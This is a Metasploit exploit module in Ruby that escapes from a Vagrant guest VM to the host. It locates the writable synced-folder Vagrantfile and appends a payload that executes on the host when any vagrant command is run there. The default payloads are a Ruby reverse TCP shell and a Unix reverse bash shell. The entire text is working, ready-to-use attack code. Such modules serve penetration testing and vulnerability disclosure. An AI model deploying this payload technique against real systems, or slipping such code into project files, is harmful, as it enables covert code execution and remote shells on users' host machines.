Vagrant Synced Folder Vagrantfile Breakout Exploit

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Vagrant Synced Folder Vagrantfile Breakout',
        'Description' => %q{
          This module exploits a default Vagrant synced folder (shared folder)
          to append a Ruby payload to the Vagrant project Vagrantfile config file.

          By default, unless a Vagrant project explicitly disables shared folders,
          Vagrant mounts the project directory on the host as a writable 'vagrant'
          directory on the guest virtual machine. This directory includes the
          project Vagrantfile configuration file.

          Ruby code within the Vagrantfile is loaded and executed when a user
          runs any vagrant command from the project directory on the host,
          leading to execution of Ruby code on the host.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'HashiCorp', # Vagrant defaults
          'bcoles' # Metasploit
        ],
        'DisclosureDate' => '2011-01-19', # Vagrant 0.7.0 release date - first mention of shared folders in CHANGELOG
        'Platform' => %w[ruby],
        'Arch' => ARCH_ALL,
        'SessionTypes' => [ 'shell', 'powershell', 'meterpreter' ],
        'Stance' => Msf::Exploit::Stance::Passive,
        'DefaultOptions' => {
          'DisablePayloadHandler' => true
        },
        'Targets' => [
          [
            'Ruby Code',
            {
              'Platform' => 'ruby',
              'Arch' => ARCH_RUBY,
              'Type' => :ruby,
              'DefaultOptions' => {
                'PAYLOAD' => 'ruby/shell_reverse_tcp'
              }
            }
          ],
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'Payload' => { 'BadChars' => '`' },
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_bash'
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'References' => [
          ['URL', 'https://www.vagrantup.com/docs/synced-folders'],
          ['URL', 'https://www.virtualbox.org/manual/ch04.html#sharedfolders']
        ],
        'Notes' => {
          'Reliability' => [ REPEATABLE_SESSION ],
          'Stability' => [ CRASH_SAFE ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES ]
        }
      )
    )
    register_options([
      OptString.new('VAGRANTFILE_PATH', [false, 'Path to Vagrantfile (leave blank to auto detect)', ''])
    ])
  end

  # Search potential default shared directories for Vagrantfile configuration file
  def find_vagrantfile_path
    unless datastore['VAGRANTFILE_PATH'].blank?
      return exists?(datastore['VAGRANTFILE_PATH']) ? datastore['VAGRANTFILE_PATH'] : nil
    end

    # Default Vagrant synced folders (aka shared folders)
    default_shared_directories = [
      'C:\\vagrant\\',
      '/vagrant/'
    ]

    default_shared_directories.each do |dir_path|
      begin
        vagrant_shared_dir_contents = dir(dir_path)
      rescue Rex::Post::Meterpreter::RequestError
        next
      end

      next if vagrant_shared_dir_contents.empty?

      # Vagrant project configuration file name is case-insensitive (typically "Vagrantfile")
      vagrant_shared_dir_contents.each do |fname|
        return "#{dir_path}#{fname}" if fname.downcase == 'vagrantfile'
      end
    end

    nil
  end

  def vagrantfile
    @vagrantfile ||= find_vagrantfile_path
  end

  def check
    return CheckCode::Safe('Vagrantfile not found.') unless vagrantfile

    # `writable?' method does not support Windows systems
    begin
      return CheckCode::Detected("#{vagrantfile} is not writable.") unless writable?(vagrantfile)
    rescue RuntimeError
      return CheckCode::Detected("Could not verify if #{vagrantfile} is writable.")
    end

    CheckCode::Appears("#{vagrantfile} is writable!")
  end

  def exploit
    fail_with(Failure::NotVulnerable, 'Could not find Vagrantfile') unless vagrantfile

    case target['Type']
    when :ruby
      data = payload.encoded
    when :unix_cmd
      data = "`#{payload.encoded}`"
    else
      fail_with(Failure::NoTarget, 'No target selected')
    end

    print_status("Appending payload (#{data.length} bytes) to #{vagrantfile} ...")

    unless append_file(vagrantfile, "\n#{data}\n")
      fail_with(Failure::Unknown, "Could not write to #{vagrantfile}")
    end

    print_status("Payload appended to #{vagrantfile}")
    print_status('The payload will be executed when a user runs any vagrant command from within the project directory on the host system.')
    print_warning("This module requires manual removal of the payload from the project Vagrantfile: #{vagrantfile}")
  end
end